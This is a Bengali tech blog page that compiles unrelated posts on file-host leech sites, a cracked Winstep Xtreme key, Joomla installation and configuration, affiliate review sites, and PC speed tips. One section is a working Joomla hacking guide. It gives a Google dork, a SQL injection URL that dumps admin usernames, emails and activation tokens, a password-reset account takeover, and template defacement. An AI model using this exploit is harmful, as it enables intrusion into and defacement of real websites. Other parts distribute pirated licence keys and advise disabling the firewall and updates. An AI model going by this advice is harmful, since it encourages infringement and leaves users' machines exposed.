হয়তো অনেকেই আগে থেকে জানেন
তবুও যারা জানেন না তাদের জন্য
আমার এই টিউন। এই ধরনের টিউন
আগে প্রকাশিত হ্যে থাকলে আগেই
ক্ষমা চেয়ে নিচ্ছি।
এবার আসল কথায় আসি।
অনলাইনে আমাদের অনেক সময় বিভিন্ন
ফাইল হোস্টিং সাইট থেকে গুরুত্বপূর্ণ
ফাইল ডাউনলোড করার দরকার হয়। কিন্তু
সকল সাইট মিডিয়াফায়ার বা ড্রপবক্স
এর মত ফ্রি না যে সবাইকে সমান স্পীড
দিবে।ম্যাক্সিমাম সাইট গুলোতে দুই
ধরনের একাউন্ট থাকে । একটা ফ্রি আর
একটা প্রিমিয়াম অর্থাৎ
আপনাকে টাকা দিয়ে প্রিমিয়াম
একাউন্ট খুলতে হবে। আর টাকার
পরিমান ও একেবারে কম না। কোন
কোন ক্ষেত্রে ২৫-৩০ ডলার ও
হতে পারে তাও মাত্র ক্যেক মাসের
জন্য যেটা আমাদের জন্য একেবারেই
অসম্ভব ব্যপার। তবে প্রিমিয়াম
একাউন্টের অনেক সুবিধা আছে। এই
যেমন ধরুন সুপার ফাস্ট ডাউনলোড স্পিড,
ডাউনলোড রিজিউম সাপোর্ট,
প্যারালাল ডাউনলোড সুবিধা সহ
আরো অনেক কিছু। আর
ফ্রি একাউন্টে আপনাকে দিবে লিমিটেড
স্পীড।
আপনাকে একটা ফাইল ডাউনলোড করার
জন্য কিছু সময় ওয়েট
করতে হবে তাছাড়া আপনি রিজিঊম
সাপোর্ট পাবেন না। আর সবচেয়ে বড়
অসুবিধা হল এই ধরনের সাইটে অনেক বড়
কোন ফাইল ডাউনলোড এর জন্য
আপনাকে অবশ্যই পেইড ইউজার হতে হবে।
ফ্রি ইউজাররা এটা করতে পারবে না।
এই গেল সুবিধা অসুবিধা।
তাহলে বুঝতেই পারছেন প্রিমিয়াম
একাউন্টের কত সুবিধা।
আপনি হয়তো ভাবতে পারেন Mrediafire,
Dropbox এইগুলো তো আছেই।তাইলে আর
কস্ট করে প্রিমিয়াম একাউন্ট খোলার
কি দরকার? কথা হল আপনি আপনি গুগল
সার্চ দিয়ে দেখেন। Mrediafire, Dropbox এই
সাইট গুলোতে খুব কম ফাইল ই আপলোড
থাকে । আমাদের দরকারি ম্যাক্সিমাম
ফাইলগুলো Bitshare, Uploaded , Rapidgator ,
Freakshare, Uptobox , Rapidshare, Turbobit, Letitbit
এই ধরনের সাইট গুলোতে আপলোড
করা থাকে আর সেখান
থেকে ম্যাক্সিমাম সাপোর্ট
পেতে আপনাকে পেইড ইউজার
হতে হবে।
আজ আমি আপনাদের এমন দুই সাইটের
কথা বলব যারা এই ধরনের সাইট
থেকে প্রিমিয়াম ইউজারদের মত
ডাউনলোড করার সুবিধা দেয় তার
মানে আপনাকে কস্ট করে পেইড
একাউন্ট খোলা লাগতেছে না।
আপনার কাজ হল আমার দেওয়া সাইট এ
যেয়ে আপনার কাঙ্ক্ষিত ফাইল এর
লিঙ্ক সেখানকার ডাউনলোড
বক্সে পেস্ট করলে আপনার জন্য
একটা প্রিমিয়াম লিঙ্ক জেনারেট
হবে। ব্যাস আপনার কাজ শেষ। এবার
মনের খুশিতে ডাউনলোড করুন। এবার
আপনাদের সাইট দুইটার লিঙ্ক দেই।
প্রথম সাইটঃ
Premium4.us
এখান থেকে যে সব হোস্টিং সাইট এর
ফাইল ডাউনলোড করতে পারবেনঃ
Bitshare | Uploaded | Rapidgator | Freakshare |
Uptobox | Fileom | Rapidshare | Filefactory |
Lumfile | Turbobit |
Bayfiles | Spicyfile | Tusfiles | Rarefile | Wipfiles |
Lafiles | Filechin | Youtube | Hipfile | Firedrive |
Uploadbaz | Putlocker
Dropbox | 2shared | Sendspace | Ryushare |
Netload | 4shared | Depositfiles | Filepost | Fireget
| Filesflash | Share-Online
1fichier | Crocko | Cramit | Egofiles | Filestoragepro
| Filemonster | Metacafe | Dailymotion |
Keep2share
Uploadable | Terafile | Catshare | Dizzcloud |
Nowdownload | Uppit | Junocloud | Oboom | Sdilej
দ্বিতীয় সাইটঃ
VinaLeech.com
এখান থেকে যে সব হোস্টিং সাইট এর
ফাইল ডাউনলোড করতে পারবেনঃ
Fileover, Bayfiles, Putlocker, Sendspace,
Nowdownload, Extmatrix, Gigasize, Sanshare,
Sockshare, Uploadhero, Share.vnn.vn, Lumfile,
Unibytes, Speedyshare, Cloudzer, Asfile, Share-
Online, Easybytes, Rarefile, Rapidgator, 1st-file,
Fileflyer, Hitfile, Zippyshare, Hugefiles, Oteuploads,
Filesmonster, 2shared, Crocko, Terafile, Dizzcloud,
Albafile, Hipfile, Netload, Slingfile, Filemaze, Filerio,
Megacache, Luckyshare, Depfile, Mega, Fileparadox,
Fileom, 1Fichier, Filesabc, Filecloud, Fileflash,
Uploading, Tusfiles, Fileswap, Rapidshare, Uploaded
File Size Limit: 2.2 GB for Uploaded
Download Limit: No waiting time limit
Resumable: Yes
আশা করি সবাই বুঝতে পেরেছেন।
তাহলে আর দেরি কেন?
এখনি নিয়ে নিন ভি আই পি এর মজা।
যদি কোন কিছু বুঝতে না পারেন
তাহলে আমার সাথে যোগাযোগ
করতে পারেন। নিচে আমার ফেসবুক
আইডি এর লিঙ্ক দেয়া আছে।
ADD
Monday, June 30, 2014
এখন সকল ফাইল হোস্টিং সাইট থেকে ডাউনলোড করুন সুপার ফাস্ট প্রিমিয়াম স্পিডে Resume সাপোর্ট সহ ( আপনিও হয়ে যান V.I.P ইউজার)
জাভাস্ক্রিপ্ট ইমেজ স্লাইডার
অনলাইনে জাভাস্ক্রিপ্টের
বিভিন্ন ধরনের ইমেজ
স্লাইডার পাওয়া যায়। http://
en.softonic.com/s/free-download-
javascript-image-slider
থেকে ইমেজ
স্লাইডারগুলোবিনামূল্যেডাউনলোড
করা যাবে।
কম্পিউটার কে সাজিয়ে তুলতে ডাউনলোড করে নিন Winstep Xtreme (10.9) ফুল ভার্সন (১০০% কাজ করবে)
আসসালামু আলাইকুম। সবাই আশা করি আল্লাহর রহমতে ভালো আছেন, সুস্থ আছেন। আর আমি? মাস্টার্সের থিসিস নিয়ে অনেক ব্যস্ত আছি, বলা চলে দৌড়ের উপর। তারপর ও আজকে হঠাত করে কিছ সময় পেয়ে গেলাম। ভাবলাম একটা টিউন করে ফেললে কেমন হয়? তাই টি টি তে আবার আসা.........................................
Winstep Xtreme কি? আমার মনে হয় না বললেও চলতো । টি টি তে ও এটি নিয়ে দু-একটা টিউন হয়েছে। দেখে নিন আরো একটি টিউন। আশা করি আপনারা Winstep Xtreme কি এই দুটি টিউন থেকে বুঝে ফেলেছেন। এক কথায় বললে, একটি Desktop enhancement Utility যা আপনাকে দিবে সম্পুর্ন customizationসুবিধা এবং থিমের মাধ্যমে একটি মনোমুগ্ধকর ডেস্কটপ ভিউ। তাই আমি ফিচার (সিস্টেম এর সাথে full integration, পাওয়ারফুল Nextstart menu system, drag & drop এর মাধ্যমে নিজস্ব মেনু তৈরী করা ইত্যাদি আরো অনেক ) সম্পর্কে বিস্তারিত লিখলাম না (সবাই নিজগুনে ক্ষমা করবেন)
আরো জানতে ক্লিক করুন Winstep Xtreme মেইন সাইটে
জানি, আপনি বলবেন তাহলে কেনো আর টিউন করা???
হ্যা, আমি যে টিউন গুলো দেখেছি সেগুলোতে সফটওয়্যার টির feature সহ ট্রায়াল ভার্সন (৩০ দিন) দেয়া আছে । এটি Shareware সফটওয়্যার এবং ডেইট এক্সপায়ার্ড হয়ে গেলে পুরোপুরি uninstall করতে হয়. কোন টিউনেই ফুল ভার্সন আমি খুজে পাইনি, তাই আমার সফটওয়্যার টি শেয়ার করা। এটি XP তে ও সাপোর্ট করবে।
কিছু স্থির চিত্র (আপলোড হচ্ছেনা এখন, ইনশাআল্লাহ পরে আপলোড করবো)
তারপর ও বলছি এ জন্য যে সফটওয়ার টির ইউজার ইন্টারফেস অসাধারণ! আপনার কম্পু কে একটি সুন্দর ও রুচিশীল করে তুলতে এই সফটওয়্যার এর জুড়ি নেই।
আর আপনার কাজ (Application & documents)গুলো ও সাজিয়ে রাখবে আদর্শ গৃহিণীর মত। আদর্শ গৃহিণী পেতে হলে বাংলার বহুল প্রচলিত গল্প "বাসর রাতেই বিড়াল মারা" জানতে হবে"। জানা দরকার বিড়াল মারার কৌশল। হয়তো, আপনি বলবেন, বাসর রাতে বিড়াল মারার সাথে এই Winstep Xtreme ব্যাটার সম্পর্ক কি? আরে ভাই, আমি তো বলবো সে এক গভীর সম্পর্ক। কম্পু কে সাজিয়ে তুলতে তো Winstep key দরকার। তাই key টাকেই ধরে নিন আদর্শ গিন্নি হিসেবে।
কিভাবে key install করতে হবে
ডাউনলোড কৃত ফোল্ডারের মাঝে xtreme নামে একটি ফাইল আছে। আপনি সেটা C:\Users\Public\Documents\Winstep\Licenses folder এ কপি করুন।
তারপর register অপশনে অপেন ফোল্ডার নামে একটি বক্স আছে। সেখানে ক্লিক করে C:\Users\Public\Documents\Winstep\Licenses>Xtreme ফাইল টি দেখিয়ে দিন। ক্লিক করুন Click to register. ব্যস হয়ে গেলো।
About এর ডান পাশে register লেখা ছিলো। কী ঢুকানোর পর তা ও উধাও!!
নোটঃ কখনোই আপডেট দিতে যাবেন না
আজকের মত এখানেই ইতি। আবার দেখা হবে। সবাইকে ধন্যবাদ।
Sunday, June 29, 2014
কিভাবে লোকালহোস্ট এ জুমলা ইন্সটল করতে হয় জানেন? না জানলে আজকে জেনে নিন চিত্র সহ বিস্তারিত
আশা করি সবাই ভালো আছেন। আজকে জুমলা ইন্সটল নিয়ে একটু আলোচনা করবো।
বর্তমানে সবচেয়ে আলচিত এবং জনপ্রিয় সি এম এস এর মধ্যে একটু হল জুমলা। কারন
এটি এটি দিয়ে জেকন ধরনের সাইট তৈরি করা যায়। তাই যারা একেবারে নতুন এবং
জুমলা শিখতে চাচ্ছেন তাদের জন্য আমার এ ছোট প্রয়াস। জুমলা লোকালহস্ট এ
ইন্সটল করে আপনি ইন্টারনেট ছারাই বাসায় বসে জুমলা শিখতে পারেন। কিন্তু
কিভাবে এই জুমলা লোকালহোস্ট এ ইন্সটল দিতে হয়? এই প্রশ্নের জবাব পেতে সঙ্গে
থাকুন।
যা যা লাগবেঃ
১. একটা পিসি
২. Xampp/ Wamp সফটওয়্যার
৩. জুমলা সি এম এস ফাইল
Xampp/ Wamp software আর মধ্যে যেকনো একটি যদি থাকে তাহলে ইন্সটল করুন আর না থাকলে একটু কষ্ট করে ইন্টারনেট এ সার্চ দিয়ে ডাউনলোনড করে নিন।
জুমলা সি এম এস ফাইল ডাউনলোড করতে নিছের লিঙ্ক এ যান।
যাহোক এখন কাজ সুরু করা যাক।
যা যা লাগবেঃ
১. একটা পিসি
২. Xampp/ Wamp সফটওয়্যার
৩. জুমলা সি এম এস ফাইল
Xampp/ Wamp software আর মধ্যে যেকনো একটি যদি থাকে তাহলে ইন্সটল করুন আর না থাকলে একটু কষ্ট করে ইন্টারনেট এ সার্চ দিয়ে ডাউনলোনড করে নিন।
জুমলা সি এম এস ফাইল ডাউনলোড করতে নিছের লিঙ্ক এ যান।
যাহোক এখন কাজ সুরু করা যাক।
প্রথমে
জুমলা সি এম এস ফাইল টি Extract করুন। এখন আমি মনে করলাম আপনি Xampp
সফটওয়্যার টি ইন্সটল করেছেন কারন আমি সবসময় এটি দিয়ে কাজ করি তাই এটি দিয়ে
শিখাব। যাহোক যদি Xampp ইন্সটল করেন তাহলে আপনার পিসির সি ড্রাইভ দেখুন
Xampp নামে একটা ফোল্ডার তৈরি হয়েছে। এখানে প্রবেশ করুন। এখন দেখুন htdocs
নামে একটা ফোল্ডার আছে ওইখানে প্রবেশ করুন।
এখন Xampp এর শর্টকাট তৈরি হয়েছে ওইখানে ক্লিক করলে Xampp control panel নামে একটা উইন্ডো ওপেন হবে। এখন Apache and MySql এই দুটিতে নিছের ছবির মতো টিক দিন।
এখন Xampp এর শর্টকাট তৈরি হয়েছে ওইখানে ক্লিক করলে Xampp control panel নামে একটা উইন্ডো ওপেন হবে। এখন Apache and MySql এই দুটিতে নিছের ছবির মতো টিক দিন।
এখন যেটা করতে হবে এর আগে যে জুমলা এর ফাইল গুলো Extract করেছিলেন ওইগুলো কপি আনুন এবং এই htdocs এর ভিতরে একটা ফোল্ডার তৈরি করুন ধরুন নাম দিলেন anytech এখানে পেস্ট করুন। মনে রাখবেন ফোল্ডার নয় জুমলার ভিতরে যে ফাইল গুলো আছে সুধু ঐ গুলো কপি করবেন।
এখন যেকোনো ব্রাউজার ওপেন করুন। এবার আমাদের কাজ হল একটা ডাটাবেস নেম তৈরি করা। এর জন্য আপনার ব্রাউজার এর অ্যাড্রেস বার এ লিখুন http://localhost/xampp এবং এন্টার প্রেস করুন।
এখন এখানে দেখুন phpMyAdmin নামে একটা অপশন আছে এখানে ক্লিক করুন।
মনে করেন ডাটাবেস এর নাম দিলেন joomla এবং এরপর create ক্লিক করুন নিছের ছবির মতো।
এখন অ্যাড্রেস বার এ লিখুন http://localhost/anytech/ এবং এন্টার প্রেস করুন। মানে হল প্রথম এ লিখবেন localhost তারপর স্লাশ দিয়ে আপনি যে নামে ফোল্ডার করেছেন htdocs এর ভিতরে ঐ নাম।
এখন নিছের ছবির মতো উইন্ডো ওপেন হবে এখানে থেকে আপানার সাইট এর ভাষা নির্বাচন করে next বাটন এ ক্লিক করুন।
এরপরে পর পর দুবার যে উইন্ডো ওপেন হবে এখানে কিছু পরিবর্তন করতে হবে না সুধু Next বাটন এ ক্লিক্ম করুন
এখন নিছের ছবির দিকে খেয়াল করুন। এখানে জেভাবে আছে ঐভাবে পুরন করুন।
ডাটাবেস হোস্ট নেম এর জায়গায় localhost দিন
ইউজার নেম এর জায়গায় root দিন
পাসওয়ার্ড এর জায়গায় কোন কিছু লিখার দরকার নাই
এখানে ডাটাবেস নেম এর জায়গায় আপনার ডাটাবেস এর নাম দিন।
এবং
সর্বশেষ Table prefix এর এখানে bul64_ এর জায়গায় জেকন কঠিন কিছু দিন যেমন
hf4tjd_ দিন যাতে সহজে কেউ জানতে না পারে কারন আপনার সাইট এর সেকুরিটির
জন্য এটি খুবই গুরুত্বপূর্ণ।
এখন Old database process এর জায়গায় Backup এ টিক দিন।
এখন সব ঠিকঠাক ভাবে পুরন করলে Next বাটন এ ক্লিক করুন।
এখন Old database process এর জায়গায় Backup এ টিক দিন।
এখন সব ঠিকঠাক ভাবে পুরন করলে Next বাটন এ ক্লিক করুন।
এরপরে যে উইন্ডো আসবে এখানে কিছুই লেখার দরকার নাই। Next বাটন এ ক্লিক করুন।
এখন নিছের ছবির দিকে নজর দিন। আমার মনে হয় এখানে কিছু বলতে হবে না। কারন দেখলেই বুঝা যায় কি করতে হবে।
এখানে সাইট এর নাম দিন, ইউজার নেম দিন তবে মনে রাখবেন ইউজার নেম কখনই এডমিন দিবেন না যেকোনো একটা কঠিন নাম দিন, পাসওয়ার্ড দিন এবং ইমেইল দিন
সবশেষে Install sample data তে ক্লিক করে Next ক্লিক করুন।
এখানে Install sample data তে ক্লিক দিলে এখানে যে ডেমো কনটেন্ট থাকে সেগুলো থাকবে আর না দিলে কিছুই থাকবেনা।
এখন নিছের দাগ দেয়া Remove Installation Folder ক্লিক করুন। কারন এখানে ক্লিক না করলে বা Installation Folder রিমোভ না করলে আপনার সাইট প্রবেশ করলে আবার নতুন করে ইন্সটল হবে।
এরপর উপরে দেখেন Site এবং Administrator নামে দুটি মেনু আছে ওইখান থেকে সাইট এ যেতে চাইলে সাইট এ ক্লিক করুন এবং এডমিন প্যানেল এ যেতে চাইলে Administrator এ ক্লিক করুন।
এডমিন প্যানেল এ আপনার ইউজার নেম এবং পাসওয়ার্ড দিন এবং লগিন করুন।
পরের বার যখন আবার লগিন করবেন তখন http://localhost/anytech/administrator অ্যাড্রেস লিখে এন্টার প্রেস করলে লগিন পেজ আসবে। ভালো থাকবেন। কোন সমস্যা হলে কমেন্ট করে জানাবেন।
কিভাবে একটি রিভিও সাইট করবেন যার থেকে আয় হবে হাজার $$ডলার$$
কেমন আছেন সবাই আশা করি ভালো আছেন ,আসলে একটা কথা লেখার শুরুতে বলে রাখা
ভালো আর তা হলও আপনি অনলাইন বা অফ লাইন যেখানে যা কিছু করেন না কেন
পরিশ্রম এর বিকল্প কিছু নাই ,তাই এটা মনে করা ঠিক হবে না যে সাইট করলাম আর
ডলার আশা শুরু ।এখানে “কি “ “কেনও “ “কিভাবে “ বিস্ারিত বলা হবে আশা করি
আপনাদের কাজে লাগবে ।আরও একটা ব্যাপার দরকারি তা হলও “এস ই ও “ আর ব্লগ বা
সাইট যা বলি না কেনও “এস ই ও “ আপনাকে করতে ই হবে ,আপনি সজীব রহমানএর এই টিউনটিপরে দেখেন তাহলে ভালো ধারনা পাবেন।
প্রথমে জানার চেষ্টা করি রিভিও সাইট আসলে কি ?
রিভিও
সাইট হলও একটা ব্লগ সাইট যেখানে আপনি আপনার পছন্দের বিষয় নিয়ে লিখবেন
,সেটা যেকোনো বিষয় হতে পারে বা যেকোনো প্রোডাক্টও হতে পারে এটা আপনার
পছন্দের
উপর ।আসলে রিভিও সাইট এর একটা বেসিক ব্যাপার আছে ,সেটা হলও
আপনি এমন একটা সাইট করবেন যেখানে সাইট এর ব্যাবহার কারিদের জন্য একটা
উপযুক্ত ও ভালো মানের
রিভিও থাকবে (প্রোডাক্ট এর) আর রিভিও টা একজন
সাইট ব্যাবহার কারির জন্য তার প্রোডাক্ট ক্রয়ের ক্ষেত্রে গুরুত্বপূর্ণ
ভূমিকা রাখবে,বায়ার আপনার সাইট থেকে রিভিও পরে পণ্য কেনার জন্য
আপনার
সাইট এ থাকা লিংক (পণ্যের মূল সাইট) এর মাধ্যমে পণ্য কিনবে,আর যখন বায়ার
আপনার লিংক এর মাধ্যমে পণ্য কিনবে তখন আপনি তার থেকে কিছু অংশ পাবেন কমিশন
হিসাবে।
আসলে ব্যাপারটা এতো সহজ মনে হলেও তেমন কিন্তু সহজ না ,কারন আপনার লেখার উপর ভিত্তি করেই বায়ার পণ্য কিনবে ।
জুমলা ওয়েব সাইটের ইমেইল কনফিগারেশন।
আমি জুমলা দিয়ে একটি ওয়েব সাইট তৈরী করতেছি। ওয়েব সাইটটির সাজানোর কাজ
মোটামোটি শেষ পর্যায়ে নিয়ে এসেছি। আমি ওয়েব সাইটটি তৈরীর সম্পুর্ন ধারনা
পেয়েছি টেকটিউনস থেকে এবং টেকটিউনসে যারা টিউন করে থাকেন তাদের ওয়েব
সাইটগুলো থেকে। জুমলা সাইটে কিভাবে ইমেইল কনফিগারেশন করতে হয় এ সংক্রান্ত
কয়েকটি টিউন ও আমি পড়েছি । আমি google এ info@technobeach.com
নামে ইমেইল আইডি চালু করেছি। কিন্তু এই ইমেইল আইডি দিয়ে আমি নিম্নোক্ত
ভাবে ইমেইল কনিফিগারেশন করার পরও আমার সাইট থেকে কোন ইমেইল যায় না বা আসে
না। সাইটটির উপরে মেইন মেন্যুতে ডান পাশের কন্টাক্ট মেন্যুর মাধ্যমে
যোগাযোগ করতে চাইলে অথবা ফরগেট পাসওয়ার্ড বা ফরগেট ইউজার নেম এর মাধ্যমে
হারানো পাসওয়ার্ড রিসেট বা ইউজারনেম এর জন্য আবেদন করলে দেখায় SMTP Error!
Could not connect to SMTP host.
আমি কিভাবে MX record যুক্ত করেছি তার একটি স্ক্রীনশট নিচে দিলাম
আমার সাইটের এডমিনিস্ট্রেটিভ প্যানেলের গ্লোবাল কনফিগারেশনে কিভাবে ইমেইল কনফিগার করেছি তার স্ক্রীনশটটি নিচে দেখুন।
সাইটটির ঠিকানা http://www.technobeach.com
সম্মানিত
ও অভিজ্ঞ টিউনারগন যেন সহজে সমস্যাটি বুঝতে পারেন তার জন্য আমার সাইটটির
উপরে মেইন মেন্যুতে ডানপাশে কন্টাক্ট মেন্যু যোগ করে দিয়েছি যেটি ব্যবহার
করলে আপনি সমস্যাটি দেখতে পাবেন।
জুমলা সাইট হ্যাকিং । কিভাবে জুমলা ওয়েবসাইট হ্যাক করবেন
Finding Exploit and Target
প্রথমে নিচের Google Dork টা দিয়ে গুগল এ সার্চ দিনঃ
inurl:”option=com_mytube”
গুগল আপনাকে অনেক সাইট আর সন্ধান দিবে । একটাকে লক্ষ বানিয়ে নিন ।
নিচের মত হবে সাইটটির এড্রেস ;
এবার সাইট এর URL এর সাথে নিচের URL টি পরিবর্তন করুন –>
/index.php?option=com_mytube&Itemid=88&view=videos&type=member&user_id=62+AND+1=2+UNION+SELECT+0,1,2,3,4,5,6,7,8,9,10,11,concat%280x3a,username,0x3a,email,0x3a,activation%29,13,14,15,16,17,18,19,20,21,22,23,24,25+from+jos_users+where+id=62–
এই রকম হবে ঃ
যদি আপনার টার্গেট সাইট টি vulnerable হয় তাহলে নিচের মত দেখতে পাবেন পেজ টি তে –>

উপরে ইমেজ এ username, email and activation code <———-
এই পেজ টি ওপেন রেখে অন্য একতা ট্যাব ওপেন করুন –>
Admin password reset
এবার সুধু সাইট টির এড্রেস টা নিয়ের নিচের মত URL এর শেষে নিচের URL টি পরিবর্তন করুনঃ —->
/index.php?option=com_user&view=reset
নিচের মতঃ ——>
This is standard Joomla query for password reset request
এখানে আমরা উপরের যেই ইমেইল টা পেয়েসি সেই টা দিব —–>
এবার Submit করুন ।
এর পর Activation কোড টা Reset হয়ে যাবে । < যেই টা আমরা প্রথম ধাপ টা করে পেয়েসি >
প্রথম ট্যাব এ ফিরে আসুন যেই টা প্রথম ওপেন করে রেখে দিয়েসেন ।;
এবার পেজ টা একবার Refresh করুন ।
নতুন Activation code টা কপি করে Token এর ঘরে দিন , ইউজার নেম <এ প্রথম ট্যাব থেকে পাওয়া ইউজার নেম পাওয়া > নাম টা দিন ।
এই রকম activation code দেখলে তাহলে অন্য সাইট খুজুন -> $1$14411
Admin Login
যদি সব কিছু ঠিক থাকে তাহলে নিচের মত Password এর পেজ আসবে নতুন Password দিন ।

তার পর নিচের URL টা সাইট টার সাথে লাগিয়ে দিন ।।
administrator/
এই রকম ঃ

এবার ইউজার নেম এবং পাস দিয়ে লগ ইন করুন ।। ওয়াও !! গ্রেট ।
এবার Go to Extensions >> Template Manager >> Default Template Name >> Edit HTML
In Template HTML Editor insert your defaced code, click Apply, Save কাজ শেষ ।
জুমলা বেসিক-১ : কিভাবে গ্লোবাল কনফিগারেশন করবেন
সকল বন্ধুদের জানাই শুভেচ্ছা। আশা করি সবাই ভালো আছেন। আমিও ভালো আছি।
অনেকদিন ধরে ভাবছি জুমলা নিয়ে কিছু লিখবো। তাই আজকে সুরু করার চেষ্টা
করলাম। আমি সুধু জুমলা বেসিক নিয়ে আলোচনা করবো শুধুমাত্র নতুন দের জন্য।
যারা এক্সপার্ট তাদের জন্য নয় কারন যারা প্রফেশনালি কাজ করেন তাদের জন্য
কোন টিউটোরিয়াল নাই এর কারন হল মক্কেল কি চাবে তার কোন সিলেবাস নাই তাই যখন
যেটা চাবে সেটা যেকোনো করে হোক করে দিতে হবে। তবে আপনার সবার আগে জুমলা
সম্পর্কে বেসিক জ্ঞান তো অবশ্যই থাকতে হবে। বেসিক না থাকলে কোন ভাবেই
আডভাঞ্চড লেভেল বা প্রফেশনাল লেভেল কোনটাতেই যেতে পারবেন না। তাই ভাবলাম
একটু বেসিক নিয়ে আলোচনা করি।
যাহোক অনেক কথা বললাম। কাজের কথায় আসি।
আজকে জুমলার গ্লোবাল কনফিগারেশন নিয়ে একটু বলব। যদি কোন ভুল হয় ক্ষমা করে
দিবেন।যাহোক এর আগের টিউন এ কি করে জুমলা ইন্সটল দিতে হয় সেটা দেখিয়েছি তাই
কেউ যদি এই টিউন টি না দেখে থাকেন তাহলে এই লিঙ্ক থেকে দেখে নিবেন। এখন
আপনার জুমলার এডমিন প্যানেল এ ইউজার নেম এবং পাস ওয়ার্ড দিয়ে লগিন করুণ।
এরপর নিছের ছবির মতো Global Configuration এ ক্লিক করুণ।
এখন site মেনুতে ক্লিক করুণ। এখন নিছের ছবির মতো সেটিং করুণ।
প্রথমে
সাইট নেম এর জায়গায় সাইট এর নাম দিন। সাইট অফ লাইন এ রাখতে না চাইলে No তে
ক্লিক করুণ। সাইট যদি অফ লাইন এ থাকলে কি মেসেজ শো করবে সেটা লিখুন।
Default Access এর জায়গায় পাবলিক দিন। এখন Metadata Settings এর দিকে খেয়াল
করুণ। কারন seo এর ক্ষেত্রে এটি খুবই দরকার। Site meta description এর
আপনার সাইট এর সংক্ষিপ্ত বর্ণনা দিন Site meta kyewords এর জায়গায় আপনার
সাইট সম্পর্কিত কিছু কিওয়ার্ড দিন। মনে রাখবেন একটি কি ওয়ার্ড এর পর কমা
দিয়ে একটা স্পেস দিবেন। Robots এর জায়গায় Index, follow সিলেক্ট করুণ।
আমাদের
সাইট যে সার্চ ইঞ্জিন এ শো করে তার আগে সকল সার্চ ইঞ্জিন আপনার সাইট এর
সকল লিঙ্ক ইনডেক্স করে রাখে আপনি যদি ইনডেক্স করার অনুমতি না দেন তাহলে
আপনার সাইট ইনডেক্স করতে পারবে না।
Author meta tag যদি না শো করাতে চান তাহলে No করে দিন। Show joomla version এ আপনি যদি জুমলা এর ভার্সন শো করাতে চান তাহলে ইয়েস ওকে করুণ আর না করাতে চাইলে ডিফল্ট রাখুন মানে হল যেটা আছে ওইটা রাখুন।
Author meta tag যদি না শো করাতে চান তাহলে No করে দিন। Show joomla version এ আপনি যদি জুমলা এর ভার্সন শো করাতে চান তাহলে ইয়েস ওকে করুণ আর না করাতে চাইলে ডিফল্ট রাখুন মানে হল যেটা আছে ওইটা রাখুন।
সবশেষে SEO setting ভালো ভাবে কনফিগারেশন করতে এই লিঙ্ক এ ভিসিট করুণ।
Slow কম্পিউটার করে নিন Fast [পর্ব-০২]
এজন্য প্রথমে স্টার্ট মেনুতে গিয়ে রান এ ক্লিক করুন, লিখুন
msconfig এন্টার দিন, সিস্টেম কনফিগারেশন ইউটিলিটি ডায়লগ বক্স আসবে, তারপর
স্টার্টাপ অপশন সিলেক্ট করে Disable All ক্লিক করে ওকে করুন।
কম্পিউটার রিস্টার্ট চাইবে রিস্টার্ট দিলে ডেস্কটপ এ একটি ডায়লগ বক্স আসবে তাতে টিক দিয়ে ওকে করলেই কাজ শেষ
ভাইরাস
থেকে মুক্ত থাকতে যেকোনো ডিভাইস অটোপ্লে হওয়া বন্ধ করুন। এজন্য প্রথমে
স্টার্ট মেনুতে গিয়ে রান এ ক্লিক করুন, gpedit.msc লিখে এন্টার দিন,
তারপর Group Policy তে কম্পিউটার কনফিগারেশন এ সিস্টেম অপশন ক্লিক করলে ডান
পাশে Turn off Autoplay দেখা যাবে, এটির প্রপার্টিস এ যেতে হবে।
তারপর Turn off Autoplay প্রপার্টিস ডায়লগ বক্স আসবে, এখানে Enabled ক্লিক করে All drives সিলেক্ট করে ওকে করুন
Windows
Firewall অফ করে দিন, অনাকাঙ্খিত মেসেজ থেকে রেহায় পাবেন, পাশাপাশি
এর্রর রিপোর্ট ও disable করে রাখুন। এজন্য স্টার্ট মেনুতে গিয়ে সেটিং এ
গিয়ে কন্ট্রোল পানেল থেকে সিকিউরিটি সেন্টার ওপেন করুন।
এখানে Change the way Security Center Setting এ ক্লিক করে সব আনচেক করে দিন এবং ওকে করুন
তারপর স্টার্ট মেনুতে গিয়ে সেটিং এ গিয়ে কন্ট্রোল পানেল থেকে উইন্ডোস firewall ওপেন করুন, অফ করে ওকে করুন।
Error রিপোর্ট Disable করতে My কম্পিউটার এর প্রপার্টিস এ গিয়ে এডভান্স এ গিয়ে Error Reporting এ ক্লিক করুন
Disable error এ ক্লিক করে But notify me আনচেক করে দিন।
Automatic আপডেট অফ করে রাখুন।
My
কম্পিউটার এর প্রপার্টিস এ গিয়ে অটোমেটিক updates সিলেক্ট করে Turn off
করে ওকে করুন। খেয়াল করে দেখুন আপনার কম্পিউটার ফাস্ট হয়েছে, আমার আগের
টিউনটি দেখে নিতে পারেন, যেটি ছিল প্রথম পর্ব, এখানে আরো কিছু টিপস দেয়া হয়েছে।
আপনার কম্পিউটার কি স্লো হয়ে গিয়েছে ? নতুনের মত ফাস্ট করে নিন !!
আপনার কম্পিউটার কি মারাত্মক স্লো ??? কোন কাজ ই করতে পারছেন না ?? তিনটি কারন হতে পারে ।
- আপনার কম্পিউটার এ প্রচুর ভাইরাস আছে ।
- আপনার কম্পিউটার টি অনেক দিন optimize করা হয় নি ।
- কম্পিউটার এর ব্যাকগ্রাউন্ড এ useless program running আছে ।
এই সমস্যা গুলোর সমাধান পর্যায়ক্রমে নিচে আলোচনা করা হবেঃ
বিঃ দ্রঃ পোস্টটি সর্বপ্রথম টেকনোট্রিক বিডি তে প্রকাশিত ।
আপনার কম্পিউটারে একটি ফুল ভাইরাস Scan করুনঃ
আপনার যদি কোন অ্যান্টিভাইরাস না থাকে তাহলে আমি avast অ্যান্টিভাইরাস ডাউনলোড করার পরামর্শ দিব । Download Avast >>>
আপনার যদি কোন অ্যান্টিভাইরাস না থাকে তাহলে আমি avast অ্যান্টিভাইরাস ডাউনলোড করার পরামর্শ দিব । Download Avast >>>
অ্যান্টিভাইরাস দিয়ে আপনার কম্পিউটার Full and Deep Scan দিন ।
তারপর আমাদের কাজ Maintenance & Optimization
অনেক
কম্পিউটার ইউজার maintaining এবং optimizing সম্পর্কে জানে । কিন্তু এটা
যান দরকার । আপনার কম্পিউটার এর স্পীড বাড়বে যদি আপনার কম্পিউটার সঠিক
ভাবে optimize করা হয় । আমি আপনাদের যে সফটওয়ার টি ইন্সটল করতে বলব টা
হল Advanced SystemCare Free
Advanced SystemCare Free:আপনার কম্পিউটার এর যত্ন নিতে সাহায্য করবে । আর আপনাকে কম্পিউটার optimize করতে সাহায্য করবে ।
